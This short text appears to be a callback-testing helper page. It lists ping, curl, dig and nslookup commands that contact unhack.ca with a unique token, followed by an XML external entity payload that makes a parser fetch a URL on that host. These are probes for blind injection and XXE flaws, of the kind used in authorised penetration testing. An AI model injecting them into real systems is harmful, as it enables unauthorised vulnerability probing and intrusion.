$ ping -c1 -p 00d2ace2dddae80fdfc743032e5fa000 unhack.ca
 

$ curl http://unhack.ca/p/d2ace2dddae80fdfc743032e5fa0
 

$ dig d2ace2dddae80fdfc743032e5fa0 @unhack.ca
 

$ dig d2ace2dddae80fdfc743032e5fa0.ns.unhack.ca
 

C:\> nslookup d2ace2dddae80fdfc743032e5fa0 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d2ace2dddae80fdfc743032e5fa0">]>
    <foo>&xxe;</foo>